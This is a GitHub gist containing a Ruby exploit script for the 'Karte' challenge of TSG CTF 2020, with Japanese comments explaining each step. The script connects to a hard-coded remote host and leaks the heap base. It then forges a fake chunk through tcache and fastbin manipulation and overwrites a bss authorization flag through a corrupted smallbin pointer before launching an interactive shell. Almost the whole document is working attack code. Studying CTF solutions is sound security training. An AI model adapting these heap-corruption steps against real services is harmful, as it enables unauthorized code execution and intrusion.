Skip to content

Instantly share code, notes, and snippets.

@Charo-IT
Created July 12, 2020 12:29
Show Gist options
  • Save Charo-IT/5dfce0e2930487fdbec0990388101332 to your computer and use it in GitHub Desktop.
Save Charo-IT/5dfce0e2930487fdbec0990388101332 to your computer and use it in GitHub Desktop.
TSG CTF 2020 - Karte
#coding:ascii-8bit
require "pwnlib" # https://github.com/Charo-IT/pwnlib
class PwnTube
def recv_until_prompt
recv_until("> ")
end
end
class Exploit
attr_reader :tube, :host, :port
attr_reader :offset, :got, :libc_offset
def initialize(remote)
@remote = remote
if remote?
@host, @port = "35.221.81.216 30005".split
else
@host = "localhost"
@port = 11111
end
@port = @port&.to_i
@libc_offset = {
}
@offset = {
"authorized" => 0x404180
}
@got = {
}
end
def remote?
@remote
end
def allocate(id, size)
tube.recv_until_prompt
tube.sendline("0")
tube.recv_until_prompt
tube.sendline("#{id}")
tube.recv_until_prompt
tube.sendline("#{size}")
end
def extend(id, size)
tube.recv_until_prompt
tube.sendline("1")
tube.recv_until_prompt
tube.sendline("#{id}")
tube.recv_until_prompt
tube.sendline("#{size}")
end
def change_id(old_id, new_id)
tube.recv_until_prompt
tube.sendline("2")
tube.recv_until_prompt
tube.sendline("#{old_id}")
tube.recv_until_prompt
tube.sendline("#{new_id}")
end
def show(id)
tube.recv_until_prompt
tube.sendline("3")
tube.recv_until_prompt
tube.sendline("#{id}")
end
def deallocate(id)
tube.recv_until_prompt
tube.sendline("4")
tube.recv_until_prompt
tube.sendline("#{id}")
end
def launch_shell
tube.recv_until_prompt
tube.sendline("5")
end
def run
PwnTube.open(host, port){|t|
@tube = t
tube.recv_until_prompt
tube.send("A" * 0x1f)
puts "[*] leak heap base"
# fill tcache
10.times{|i|
allocate(i, 0x60)
}
9.downto(0){|i|
deallocate(i)
}
show(0)
heap_base = tube.recv_capture(/size: ([0-9a-f]+)\n/)[0].to_i(16) - 0x300
puts "heap base = 0x%x" % heap_base
puts "[*] create fake chunk"
5.times{|i|
allocate(10 + i, 0x60)
}
deallocate(0) # 既にfastbinsに入っているチャンクを再度freeしてtcacheに入れ、fdをずらす
allocate(16, 0x50)
allocate(17, 0x50)
change_id(heap_base + 0x10, 0x1337)
change_id(heap_base + 0x10, 0x501) # fake chunksize
extend(16, 0x60) # reallocはtcacheを使わないのでfastbinsからチャンクが取られ、ついでにtcacheを埋める処理でfake chunkがtcacheに入れられる
5.times{|i|
allocate(18 + i, 0xa0)
}
allocate(24, 0x60) # fake chunk
# tcacheを埋め、何個かfastbinに入れる
[1, 2, 10, 11, 12, 14, 16].each{|i|
deallocate(i)
}
deallocate(24) # fake chunkをfreeしてmalloc_consolidateを起こす
allocate(25, 0x70) # unsorted_binsのチャンクをsmallbinsに移す
allocate(26, 0x60) # tcacheに空きを1つ作る
change_id(heap_base + 0x4c0, offset["authorized"] - 16) # smallbinのbkをbssに向ける
extend(17, 0x60) # tcacheを使わずにmallocさせるとbssが書き換わる
launch_shell
tube.interactive
}
end
end
Exploit.new(ARGV[0] == "r").run
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment